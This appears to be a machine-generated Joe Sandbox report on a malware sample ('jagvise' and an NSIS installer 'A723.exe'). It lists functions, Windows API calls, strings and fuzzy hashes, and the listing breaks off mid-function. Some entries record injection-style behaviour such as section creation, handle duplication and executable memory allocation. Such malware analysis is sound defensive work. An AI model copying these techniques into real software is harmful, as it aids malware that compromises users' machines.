Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2f5f28e4999fdf4ae743695e3ae32fff629aee18e9753fdb2de2d595f75c34b4
Instruction ID: 74bf1b2afaaea11ca0c0e56f9b1f986bf381a10b9881ca68c1150b9356aeb230
Opcode Fuzzy Hash: 2f5f28e4999fdf4ae743695e3ae32fff629aee18e9753fdb2de2d595f75c34b4
Instruction Fuzzy Hash: 96015E3170A104EBDB009A948D41FBA3214AB85354F3046B7B613791F1C67D9A137F6F

Function 00401A12 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: ae05512fd5251021edca4d15e7d70a9b37d4d87fc1c0fe8ad5807b387d740cb1
Instruction ID: d73ce5762afe86b3dc9ddffb89cb22f26ca3725698e0de0b5cdea12295139e68
Opcode Fuzzy Hash: ae05512fd5251021edca4d15e7d70a9b37d4d87fc1c0fe8ad5807b387d740cb1
Instruction Fuzzy Hash: 8C019E3170A204EBDB009A808D41FBA3224AB41350F3046B7B6077A1F1C63D9A136F5F

Function 00401A1F Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 254eab8126462ec38dfc4a3a996a2ad5e8abce04bf8f94b9094cf8f2fa2f2c34
Instruction ID: ab73073346a6364aa5533d6c8f5fbe814d7e64b70b61ce0f81f834eeff2a0555
Opcode Fuzzy Hash: 254eab8126462ec38dfc4a3a996a2ad5e8abce04bf8f94b9094cf8f2fa2f2c34
Instruction Fuzzy Hash: 3C017C31B0A205EBDB009AD08D81FBA3214AB45314F3086B7B613BA1F1C63D9A136F5F

Function 00401A22 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6e961ae9266916f39a153e19b05d1beb86b796fb0aaf4f479fd1f87af5fb4436
Instruction ID: 6485c0b3739817a7eba8982835a091150a70886c886236a9745aa1cef3f3b90f
Opcode Fuzzy Hash: 6e961ae9266916f39a153e19b05d1beb86b796fb0aaf4f479fd1f87af5fb4436
Instruction Fuzzy Hash: AC017C31B0A204EBDB009AD08D41FBA3215AB45314F2086B7B617791F1C63E9A136F5F

Function 00401A2F Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fc7b232f7660c46c0be874543eb3d0c42f9b16e39d899871c612d7a074ae0c1c
Instruction ID: 2bb26d72c1b977118a941110934db68769275302d48630a1afbcee3c678045b0
Opcode Fuzzy Hash: fc7b232f7660c46c0be874543eb3d0c42f9b16e39d899871c612d7a074ae0c1c
Instruction Fuzzy Hash: CE018F31B0A205EBDB009AD08D81FBA3214AB45315F3086B7BA13791F1C67D9A136F5F

Function 00A2AFE3 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00A2B034

Memory Dump Source

Source File: 00000005.00000002.1983884104.0000000000A28000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a28000_jagvise.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 68311b3f248abeca18ef0a08084828985721c19b6b26ffe1f44f22c8d2653ed2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 89112B79A00208EFDB01DF98CA85E99BBF5AF08351F0580A4F9489B362D371EA50DF90

Function 00401A33 Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: eff07d97131d67143dfcdb5282c54e7f4d9014b4e7bbc5dad2acaf1ab08b79e4
Instruction ID: 7b59a2ed808b167059f1a43439f678e344e3511e3e2d5798feb9efe5e8b923c8
Opcode Fuzzy Hash: eff07d97131d67143dfcdb5282c54e7f4d9014b4e7bbc5dad2acaf1ab08b79e4
Instruction Fuzzy Hash: 49F06D35709145EBDB009AD08D41ABB3215AB44325F208677B612791E1C63D9A136F1F

Function 00401A44 Relevance: 1.3, APIs: 1, Instructions: 41sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000005A), ref: 00401A56

Part of subcall function 00401630: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
Part of subcall function 00401630: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E

Memory Dump Source

Source File: 00000005.00000002.1983524119.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_jagvise.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: bea45b5663554546ed255f19ceb106eb68d8b8c2b8f2cd8be84afbde5940505c
Instruction ID: 3ce8add922c935329b7be752716cb8cb7767505201ce0f0d8ed020f92cce30f5
Opcode Fuzzy Hash: bea45b5663554546ed255f19ceb106eb68d8b8c2b8f2cd8be84afbde5940505c
Instruction Fuzzy Hash: 5DF06235715245EBDB009ED08D40EBA3714AB44324F604AB7B613B51F2CA3D89526F1F

Non-executed Functions

Function 0041F240 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0041F266

Part of subcall function 0041F08B: __fltout2.LIBCMT ref: 0041F0B7

__cftog_l.LIBCMT ref: 0041F28C
__cftoe_l.LIBCMT ref: 0041F2BE

Memory Dump Source

Source File: 00000005.00000002.1983541097.0000000000411000.00000020.00000001.01000000.00000005.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_411000_jagvise.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 64dd88673b47847991f90c90a0c150270ab8339d20551cf636ce290819be0711
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: A611B33A40004AFBCF125E85DC01CEE3F66BF08358B488466FE1859131D33BCAB6AB85

Function 0041E330 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0041E230: GetStartupInfoW.KERNEL32(00000000,0041E35C,00000000,00000000), ref: 0041E243
Part of subcall function 0041E230: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E25D

GetEnvironmentStringsW.KERNEL32(00000000,00000000), ref: 0041E365
FindFirstVolumeA.KERNEL32(00000000,00000000), ref: 0041E36F
GetShortPathNameA.KERNEL32(00423344,?,00000000), ref: 0041E381
DeleteVolumeMountPointA.KERNEL32(00000000), ref: 0041E3A0

Memory Dump Source

Source File: 00000005.00000002.1983541097.0000000000411000.00000020.00000001.01000000.00000005.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_411000_jagvise.jbxd

Similarity

API ID: Volume$CreateDeleteEnvironmentFindFirstInfoMountNamePathPointProcessShortStartupStrings
String ID:
API String ID: 2571298759-0
Opcode ID: d9c416af72776200e6d517168cf2674ea94008f16800a90a986a3c4a68269dff
Instruction ID: bb685419fe8eba5bdcd832a3ff008c7820df2ac98c01d3ef698063781b7e9bdc
Opcode Fuzzy Hash: d9c416af72776200e6d517168cf2674ea94008f16800a90a986a3c4a68269dff
Instruction Fuzzy Hash: 2DF0A4B6740200AFD730EB55FD56FA633A4AB4870AF804026FB05D62A1CBBC1442CB5F

Function 0041E280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 0041E2E1
GetComputerNameW.KERNEL32(?,?), ref: 0041E2F1

Strings

<H B, xrefs: 0041E2D3

Memory Dump Source

Source File: 00000005.00000002.1983541097.0000000000411000.00000020.00000001.01000000.00000005.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_411000_jagvise.jbxd

Similarity

API ID: ComputerHighestNameNodeNumaNumber
String ID: <H B
API String ID: 3700106692-3899015267
Opcode ID: a9dbd077a819636b3b2f02577daf5532aaf67ee1efca1f1dbf60c07f4e8ba4b1
Instruction ID: 9bfd3ec4351e3cf3d2b24bd45107cae70517d5d445fe937a0b17fa36dc97bda4
Opcode Fuzzy Hash: a9dbd077a819636b3b2f02577daf5532aaf67ee1efca1f1dbf60c07f4e8ba4b1
Instruction Fuzzy Hash: 6C118EB51083459FC3209F26EC416ABB7E4FF84324F40C91DE4A44B241DB38948ACF97

Analysis Process: A723.exePID: 6048, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	17.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	1482
Total number of Limit Nodes:	24

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427DC1,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

{, xrefs: 0040537E
New install of "%s" to "%s", xrefs: 004051AE

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

NSIS Error, xrefs: 0040390E
SeShutdownPrivilege, xrefs: 00403C42
/D=, xrefs: 004039D2
_?=, xrefs: 00403A90
~nsu.tmp, xrefs: 00403B23
Error launching installer, xrefs: 00403AA9
\Temp, xrefs: 00403A47
NCRC, xrefs: 004039A8

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNEL32(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNEL32(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Call: %d, xrefs: 0040165A
BringToFront, xrefs: 004016BD
Aborting: "%s", xrefs: 0040161D
detailprint: %s, xrefs: 00401679
Rename on reboot: %s, xrefs: 00401943
Rename failed: %s, xrefs: 0040194B
Jump: %d, xrefs: 00401602
SetFileAttributes: "%s":%08X, xrefs: 0040177B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
CreateDirectory: "%s" created, xrefs: 00401849
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: "%s" (%d), xrefs: 004017BF
Sleep(%d), xrefs: 0040169D

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
